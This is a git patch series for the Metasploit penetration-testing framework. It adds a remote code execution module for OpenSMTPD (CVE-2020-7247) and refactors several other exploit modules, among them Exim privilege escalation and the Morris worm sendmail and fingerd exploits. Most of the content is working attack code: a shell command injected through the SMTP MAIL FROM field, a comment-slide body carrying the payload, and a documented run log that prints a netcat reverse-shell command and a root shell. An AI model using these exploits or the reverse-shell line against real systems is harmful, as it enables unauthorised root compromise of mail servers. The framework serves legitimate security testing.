From 81b8d5b58a88b7c08a75ffec3eca381186621caf Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 29 Jan 2020 03:53:37 -0600 Subject: [PATCH 01/11] Add OpenSMTPD MAIL FROM RCE --- .../unix/smtp/opensmtpd_mail_from_rce.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb new file mode 100644 index 0000000000..46fe532b61 --- /dev/null +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'expect' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', + 'Description' => %q{ + This module exploits a command injection in the MAIL FROM field during + SMTP interaction with OpenSMTPD to execute code as the root user. + }, + 'Author' => [ + 'Qualys', # Discovery and PoC + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2020-7247'], + ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3'] + ], + 'DisclosureDate' => '2020-01-28', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [['OpenSMTPD commit >= a8e222352f', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} + )) + + register_options([ + Opt::RPORT(25), + OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) + ]) + + register_advanced_options([ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) + ]) + end + + def check + connect + res = sock.get_once + + return CheckCode::Unknown unless res + return CheckCode::Detected if res =~ /^220.*OpenSMTPD/ + + CheckCode::Safe + rescue EOFError, Rex::ConnectionError => e + vprint_error(e.message) + CheckCode::Unknown + ensure + disconnect + end + + def exploit + unless datastore['ForceExploit'] + unless check == CheckCode::Detected + fail_with(Failure::Unknown, 'Set ForceExploit to override') + end + end + + # We don't care who we are, so randomize it + me = rand_text_alphanumeric(8..42) + + # Escape the command line with ; + from = ";#{payload.encoded};" + + # Send mail to this valid recipient + to = datastore['RCPT_TO'] + + sploit = { + nil => /220.*OpenSMTPD/, + "HELO #{me}" => /250.*pleased to meet you/, + "MAIL FROM:<#{from}>" => /250.*Ok/, + "RCPT TO:<#{to}>" => /250.*Recipient ok/, + 'DATA' => /354 Enter mail/, + '.' => /250.*Message accepted for delivery/, + 'QUIT' => /221.*Bye/ + } + + print_status('Connecting to OpenSMTPD') + connect + + print_status('Saying hello and sending exploit') + sploit.each do |line, pattern| + Timeout.timeout(datastore['SendExpectTimeout']) do + if line + print_status("Sending: #{line}") + sock.put("#{line}\r\n") + end + if pattern + vprint_status("Expecting: #{pattern.inspect}") + sock.expect(pattern) do |pat| + return unless pat + vprint_good("Received: #{pat.first}") + end + end + end + end + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') + ensure + disconnect + end + +end From 312a3466eea40d4611cb79a5562ad8e4a13f335d Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 31 Jan 2020 04:32:03 -0500 Subject: [PATCH 02/11] Update 2020-7247 to execute from body Using method from https://www.openwall.com/lists/oss-security/2020/01/28/3 Attempted several other line readers via awk, while, for. Tried without pipes or `>` in the strings. It appears other characters are also illegal (conditional brackets likely culprits). Initial testing on wide-open-configured opensmtpd on OpenBSD 6.6 libvirt Vagrant image produces shells, python meterpreter sessions, and executes generic commands. --- .../unix/smtp/opensmtpd_mail_from_rce.rb | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 46fe532b61..3aa61bd86d 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -42,6 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options([ + OptInt.new('SafetyLines', [true, 'Number of comment lines in body', 10]), OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) ]) @@ -69,11 +70,23 @@ class MetasploitModule < Msf::Exploit::Remote end end + vprint_status "#{payload.encoded}" # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) + #stopvar = rand_text_alphanumeric(4..8) + # Escape the command line with ; - from = ";#{payload.encoded};" + iter = (0..(datastore['SafetyLines'] - 1)).to_a.join(' ') + from = ";for i in #{iter};do read r;done;sh;exit 0;" + #from = ";sh -c \"$(awk '/#{stopvar}/{getline;print}')\";" + + body = "\n" + body << "#\n" * datastore['SafetyLines'] + #body << stopvar << "\n" + body << payload.encoded << "\n" + body << ".\n" + body = body.gsub("\n","\r\n").chomp # Send mail to this valid recipient to = datastore['RCPT_TO'] @@ -83,8 +96,8 @@ class MetasploitModule < Msf::Exploit::Remote "HELO #{me}" => /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, - 'DATA' => /354 Enter mail/, - '.' => /250.*Message accepted for delivery/, + "DATA" => /354 Enter mail.*itself/, + body => /250.*Message accepted for delivery/, 'QUIT' => /221.*Bye/ } From e2d0d8f0115dc112c2d439b6edb19fe3224e8de3 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 1 Feb 2020 11:52:40 -0500 Subject: [PATCH 03/11] Cleanup module and permit alternate payload scheme The original Qualys exploit uses an inline-shell for loop to read and thereby consume lines from the input stream preceeding the intended script for execution in the body section. Payloads which do not contain bad characters (encoded or coincidentally simple) can be placed directly into the FROM field and executed in place of the original for loop filter. --- .../unix/smtp/opensmtpd_mail_from_rce.rb | 28 +++++++++++-------- 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 3aa61bd86d..3e6ce5fec7 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -42,12 +42,15 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options([ + OptBool.new('ForceFROMFilter', [false, 'Use Qualys\' original filter', false]), OptInt.new('SafetyLines', [true, 'Number of comment lines in body', 10]), OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) ]) end + BAD_CHARS = '!#$%&\'*?`{|}~'.chars << "\n" << "\r\n" + def check connect res = sock.get_once @@ -70,23 +73,24 @@ class MetasploitModule < Msf::Exploit::Remote end end - vprint_status "#{payload.encoded}" # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) - - #stopvar = rand_text_alphanumeric(4..8) + # Make static payload in case subsequent generation creates bad chars + pay = payload.encoded # Escape the command line with ; - iter = (0..(datastore['SafetyLines'] - 1)).to_a.join(' ') - from = ";for i in #{iter};do read r;done;sh;exit 0;" - #from = ";sh -c \"$(awk '/#{stopvar}/{getline;print}')\";" - - body = "\n" - body << "#\n" * datastore['SafetyLines'] - #body << stopvar << "\n" - body << payload.encoded << "\n" + if pay.chars.any? {|c| BAD_CHARS.include?(c)} or datastore['ForceFROMFilter'] + iter = (0..(datastore['SafetyLines'] - 1)).to_a.join(' ') + from = ";for i in #{iter};do read r;done;sh;exit 0;" + body = "\n" + body << "#\n" * datastore['SafetyLines'] + body << pay << "\n" + else # payload is safe to put in FROM line + from = ';' << pay << ';exit 0;' + body = "\n" + end body << ".\n" - body = body.gsub("\n","\r\n").chomp + body = body.gsub("\n","\r\n").chomp # avoid pipelining errors # Send mail to this valid recipient to = datastore['RCPT_TO'] From dae06ab0c9c500a32190b3790a994f3cd8695373 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 5 Feb 2020 14:21:58 -0600 Subject: [PATCH 04/11] Reword comments in morris_sendmail_debug Not sure why I used singular, but it was probably reading too much RFC. --- modules/exploits/unix/smtp/morris_sendmail_debug.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/smtp/morris_sendmail_debug.rb b/modules/exploits/unix/smtp/morris_sendmail_debug.rb index f525939450..111148895d 100644 --- a/modules/exploits/unix/smtp/morris_sendmail_debug.rb +++ b/modules/exploits/unix/smtp/morris_sendmail_debug.rb @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote # We don't care who the user is, so randomize it from = rand_text_alphanumeric(8..42) - # Strip mail header with sed(1), pass to sh(1), and ensure a clean exit + # Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit to = %("| sed '1,/^$/d' | sh; exit 0") # We don't have $PATH, so set one @@ -105,8 +105,8 @@ class MetasploitModule < Msf::Exploit::Remote 'DEBUG' => /200 Debug set/, "MAIL FROM:<#{from}>" => /250.*Sender ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, - 'DATA' => /354 Enter mail/, - # Indent PATH= so it's not interpreted as part of the mail header + 'DATA' => /354 Enter mail.*itself/, + # Indent PATH= so it's not interpreted as a mail header " PATH=#{path}" => nil, 'export PATH' => nil, payload.encoded => nil, From 81f9fc760819100691865b5d1cbb5bd65d111e63 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 5 Feb 2020 14:25:26 -0600 Subject: [PATCH 05/11] Refactor arbitrary payload support --- .../unix/smtp/opensmtpd_mail_from_rce.rb | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 3e6ce5fec7..7379b40dfb 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -19,8 +19,9 @@ class MetasploitModule < Msf::Exploit::Remote SMTP interaction with OpenSMTPD to execute code as the root user. }, 'Author' => [ - 'Qualys', # Discovery and PoC - 'wvu' # Module + 'Qualys', # Discovery and PoC + 'wvu', # Module + 'RageLtMan ' # Module ], 'References' => [ ['CVE', '2020-7247'], @@ -31,9 +32,13 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, - 'Targets' => [['OpenSMTPD commit >= a8e222352f', {}]], + 'Targets' => [ + ['OpenSMTPD commit >= a8e222352f', + 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars + ] + ], 'DefaultTarget' => 0, - 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} )) register_options([ @@ -42,15 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options([ - OptBool.new('ForceFROMFilter', [false, 'Use Qualys\' original filter', false]), - OptInt.new('SafetyLines', [true, 'Number of comment lines in body', 10]), OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) ]) end - BAD_CHARS = '!#$%&\'*?`{|}~'.chars << "\n" << "\r\n" - def check connect res = sock.get_once @@ -75,33 +76,32 @@ class MetasploitModule < Msf::Exploit::Remote # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) - # Make static payload in case subsequent generation creates bad chars - pay = payload.encoded - - # Escape the command line with ; - if pay.chars.any? {|c| BAD_CHARS.include?(c)} or datastore['ForceFROMFilter'] - iter = (0..(datastore['SafetyLines'] - 1)).to_a.join(' ') - from = ";for i in #{iter};do read r;done;sh;exit 0;" - body = "\n" - body << "#\n" * datastore['SafetyLines'] - body << pay << "\n" - else # payload is safe to put in FROM line - from = ';' << pay << ';exit 0;' - body = "\n" - end - body << ".\n" - body = body.gsub("\n","\r\n").chomp # avoid pipelining errors # Send mail to this valid recipient to = datastore['RCPT_TO'] + # Comment "slide" courtesy of Qualys - brilliant! + iter = rand_text_alphanumeric(15).chars.join(' ') + from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;" + + # This is just insurance, since the code was already written + if from.length > 64 + fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars') + elsif (badchars = (from.chars & target['MyBadChars'])).any? + fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}") + end + + # Create the mail body with comment slide and payload + body = "\r\n" + "#\r\n" * 15 + payload.encoded + sploit = { nil => /220.*OpenSMTPD/, "HELO #{me}" => /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, - "DATA" => /354 Enter mail.*itself/, - body => /250.*Message accepted for delivery/, + 'DATA' => /354 Enter mail.*itself/, + body => nil, + '.' => /250.*Message accepted for delivery/, 'QUIT' => /221.*Bye/ } From b98c0c6876c9cf2f5ac8b4a17192e2872e7d7157 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 5 Feb 2020 16:19:03 -0600 Subject: [PATCH 06/11] Add module doc --- .../unix/smtp/opensmtpd_mail_from_rce.md | 117 ++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md diff --git a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md new file mode 100644 index 0000000000..a9767d1817 --- /dev/null +++ b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +### Description + +This module exploits a command injection in the `MAIL FROM` field during +SMTP interaction with OpenSMTPD to execute code as the root user. + +### Setup + +1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso) +2. Install the system, noting the domain name (defaults to + `foo.my.domain`) +3. Configure the following settings in `/etc/mail/smtpd.conf`: + * `listen on all` + * `match from any for domain "foo.my.domain" action "local_mail"` +4. Execute `/etc/rc.d/smtpd restart` to restart OpenSMTPD +5. Execute `ifconfig` and look for an appropriate target IP + +### Targets + +``` +Id Name +-- ---- +0 OpenSMTPD commit >= a8e222352f +``` + +## Verification Steps + +Follow the steps in the [Setup](#setup) and [Scenarios](#scenarios) +sections. + +## Options + +**RCPT_TO** + +Set this to a valid mail recipient. The default is `root`. + +## Scenarios + +### OpenSMTPD 6.6.0 on OpenBSD 6.6 + +``` +msf5 > use exploit/unix/smtp/opensmtpd_mail_from_rce +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > show missing + +Module options (exploit/unix/smtp/opensmtpd_mail_from_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + + +Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 192.168.56.133 +rhosts => 192.168.56.133 +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] 192.168.56.133:25 - Connecting to OpenSMTPD +[*] 192.168.56.133:25 - Saying hello and sending exploit +[*] 192.168.56.133:25 - Expecting: /220.*OpenSMTPD/ +[+] 192.168.56.133:25 - Received: 220 foo.my.domain ESMTP OpenSMTPD +[*] 192.168.56.133:25 - Sending: HELO oKFMWnrTJZjTbzkGfVMsyDy7pO35ze +[*] 192.168.56.133:25 - Expecting: /250.*pleased to meet you/ +[+] 192.168.56.133:25 - Received: +250 foo.my.domain Hello oKFMWnrTJZjTbzkGfVMsyDy7pO35ze [192.168.56.1], pleased to meet you +[*] 192.168.56.133:25 - Sending: MAIL FROM:<;for J in V e E n U T w v A K M a 0 s x;do read;done;sh;exit 0;> +[*] 192.168.56.133:25 - Expecting: /250.*Ok/ +[+] 192.168.56.133:25 - Received: +250 2.0.0 Ok +[*] 192.168.56.133:25 - Sending: RCPT TO: +[*] 192.168.56.133:25 - Expecting: /250.*Recipient ok/ +[+] 192.168.56.133:25 - Received: +250 2.1.5 Destination address valid: Recipient ok +[*] 192.168.56.133:25 - Sending: DATA +[*] 192.168.56.133:25 - Expecting: /354 Enter mail.*itself/ +[+] 192.168.56.133:25 - Received: +354 Enter mail, end with "." on a line by itself +[*] 192.168.56.133:25 - Sending: +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +mkfifo /tmp/eizzy; nc 192.168.56.1 4444 0/tmp/eizzy 2>&1; rm /tmp/eizzy +[*] 192.168.56.133:25 - Sending: . +[*] 192.168.56.133:25 - Expecting: /250.*Message accepted for delivery/ +[+] 192.168.56.133:25 - Received: +250 2.0.0 ccd8e419 Message accepted for delivery +[*] 192.168.56.133:25 - Sending: QUIT +[*] 192.168.56.133:25 - Expecting: /221.*Bye/ +[+] 192.168.56.133:25 - Received: +221 2.0.0 Bye +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.133:16126) at 2020-02-05 16:16:59 -0600 + +id +uid=0(root) gid=0(wheel) groups=0(wheel) +uname -a +OpenBSD foo.my.domain 6.6 GENERIC#353 amd64 +``` From 95fa8602bc4025a14851ca455f64722703ebfdd6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 5 Feb 2020 17:21:47 -0600 Subject: [PATCH 07/11] Refactor modules that use Expect --- .../exploit/bsd/finger/morris_fingerd_bof.md | 3 +- .../local/exim4_deliver_message_priv_esc.md | 16 ++++---- .../exploit/unix/local/emacs_movemail.md | 1 + .../unix/smtp/morris_sendmail_debug.md | 2 +- .../exploits/bsd/finger/morris_fingerd_bof.rb | 9 ++++- .../local/exim4_deliver_message_priv_esc.rb | 27 +++++++------ modules/exploits/unix/local/emacs_movemail.rb | 7 +++- .../unix/smtp/morris_sendmail_debug.rb | 39 ++++++++++--------- .../unix/smtp/opensmtpd_mail_from_rce.rb | 31 ++++++++------- 9 files changed, 74 insertions(+), 61 deletions(-) diff --git a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md index 80babf2bdb..ea315591bc 100644 --- a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md +++ b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md @@ -1,6 +1,7 @@ ## Introduction This module exploits a stack buffer overflow in `fingerd` on 4.3BSD. + This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*. @@ -31,7 +32,7 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. **PAYLOAD** -Set this to a BSD VAX payload. Currently only +Set this to a BSD VAX payload. Currently, only `bsd/vax/shell_reverse_tcp` is supported. ## Usage diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 7341cce153..6a84a2c0dc 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -2,7 +2,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation -This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). +This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. @@ -37,10 +37,10 @@ The port that exim is listening to. On most cases it will be port 25 (which is t ## ForceExploit Force exploit even if the current session is root. - -## SendExpectTimeout -Timeout per send/expect when communicating with exim. +## ExpectTimeout + +Timeout for Expect when communicating with exim. ## WritableDir @@ -54,9 +54,9 @@ A directory where we can write files (default is /tmp). ``` meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000 -meterpreter > -Background session 1? [y/N] -msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +meterpreter > +Background session 1? [y/N] +msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 session => 1 msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 @@ -71,7 +71,7 @@ msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check [*] The target appears to be vulnerable. msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit -[*] Started reverse TCP handler on 192.168.0.50:13371 +[*] Started reverse TCP handler on 192.168.0.50:13371 [*] Payload sent, wait a few seconds... [*] Sending stage (985320 bytes) to 192.168.0.80 [*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100 diff --git a/documentation/modules/exploit/unix/local/emacs_movemail.md b/documentation/modules/exploit/unix/local/emacs_movemail.md index 1efaa28358..dc90d2b968 100644 --- a/documentation/modules/exploit/unix/local/emacs_movemail.md +++ b/documentation/modules/exploit/unix/local/emacs_movemail.md @@ -2,6 +2,7 @@ This module exploits a SUID installation of the Emacs `movemail` utility to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`. + The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*. ## Setup diff --git a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md index 8546e2ec7a..dd4e16cc77 100644 --- a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md +++ b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md @@ -33,7 +33,7 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. **PAYLOAD** -Set this to a Unix command payload. Currently only `cmd/unix/reverse` +Set this to a Unix command payload. Currently, only `cmd/unix/reverse` and `cmd/unix/generic` are supported. ## Usage diff --git a/modules/exploits/bsd/finger/morris_fingerd_bof.rb b/modules/exploits/bsd/finger/morris_fingerd_bof.rb index 2ce4b1b71e..0db4564530 100644 --- a/modules/exploits/bsd/finger/morris_fingerd_bof.rb +++ b/modules/exploits/bsd/finger/morris_fingerd_bof.rb @@ -17,8 +17,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'Morris Worm fingerd Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in fingerd on 4.3BSD. + This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. + + Currently, only bsd/vax/shell_reverse_tcp is supported. }, 'Author' => [ 'Robert Tappan Morris', # Discovery? Exploit and worm for sure @@ -83,8 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == CheckCode::Detected || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Detected + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # Start by generating our custom VAX shellcode diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index eb43ec53da..698770d753 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), - OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), + OptFloat.new('ExpectTimeout', [ true, 'Timeout for Expect when communicating with exim', 3.5 ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end @@ -108,25 +108,24 @@ class MetasploitModule < Msf::Exploit::Local begin tcp_conversation.each do |line, pattern| - Timeout.timeout(datastore['SendExpectTimeout']) do - if line - if line == 'Received:' - for i in (1..31) - socket.puts("#{line} #{i}\n") - end - else - socket.puts("#{line}\n") + if line + if line == 'Received:' + for i in (1..31) + socket.puts("#{line} #{i}\n") end + else + socket.puts("#{line}\n") end - if pattern - socket.expect(pattern) - end + end + + next unless pattern + + unless socket.expect(pattern, datastore['ExpectTimeout']) + fail_with(Failure::TimeoutExpired, "Pattern not found: #{pattern.inspect}") end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) - rescue Timeout::Error - fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure socket.puts("QUIT\n") socket.close diff --git a/modules/exploits/unix/local/emacs_movemail.rb b/modules/exploits/unix/local/emacs_movemail.rb index fe22f00a41..3045e77d81 100644 --- a/modules/exploits/unix/local/emacs_movemail.rb +++ b/modules/exploits/unix/local/emacs_movemail.rb @@ -15,6 +15,7 @@ class MetasploitModule < Msf::Exploit::Local 'Description' => %q{ This module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local. + The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg. }, 'Author' => [ @@ -133,8 +134,10 @@ class MetasploitModule < Msf::Exploit::Local return cmd_exec(payload.encoded) end - unless check == CheckCode::Appears || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666); diff --git a/modules/exploits/unix/smtp/morris_sendmail_debug.rb b/modules/exploits/unix/smtp/morris_sendmail_debug.rb index 111148895d..dd5d8ab1f8 100644 --- a/modules/exploits/unix/smtp/morris_sendmail_debug.rb +++ b/modules/exploits/unix/smtp/morris_sendmail_debug.rb @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. - Currently only cmd/unix/reverse and cmd/unix/generic are supported. + Currently, only cmd/unix/reverse and cmd/unix/generic are supported. }, 'Author' => [ 'Robert Tappan Morris', # Exploit and worm for sure @@ -52,8 +52,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([Opt::RPORT(25)]) register_advanced_options([ - OptBool.new('ForceExploit', [false, 'Override check result', false]), - OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end @@ -87,8 +87,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == CheckCode::Appears || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # We don't care who the user is, so randomize it @@ -119,24 +121,25 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Enabling debug mode and sending exploit') sploit.each do |line, pattern| - Timeout.timeout(datastore['SendExpectTimeout']) do - if line - print_status("Sending: #{line}") - sock.put("#{line}\r\n") - end - if pattern - vprint_status("Expecting: #{pattern.inspect}") - sock.expect(pattern) do |pat| - return unless pat - vprint_good("Received: #{pat.first}") - end + if line + print_status("Sending: #{line}") + sock.put("#{line}\r\n") + end + + next unless pattern + + vprint_status("Expecting: #{pattern.inspect}") + sock.expect(pattern, datastore['ExpectTimeout']) do |res| + unless res + fail_with(Failure::TimeoutExpired, + "Pattern not found: #{pattern.inspect}") end + + vprint_good("Received: #{res.first}") end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) - rescue Timeout::Error - fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure disconnect end diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 7379b40dfb..6cc995eb89 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -47,8 +47,8 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options([ - OptBool.new('ForceExploit', [false, 'Override check result', false]), - OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end @@ -110,24 +110,25 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Saying hello and sending exploit') sploit.each do |line, pattern| - Timeout.timeout(datastore['SendExpectTimeout']) do - if line - print_status("Sending: #{line}") - sock.put("#{line}\r\n") - end - if pattern - 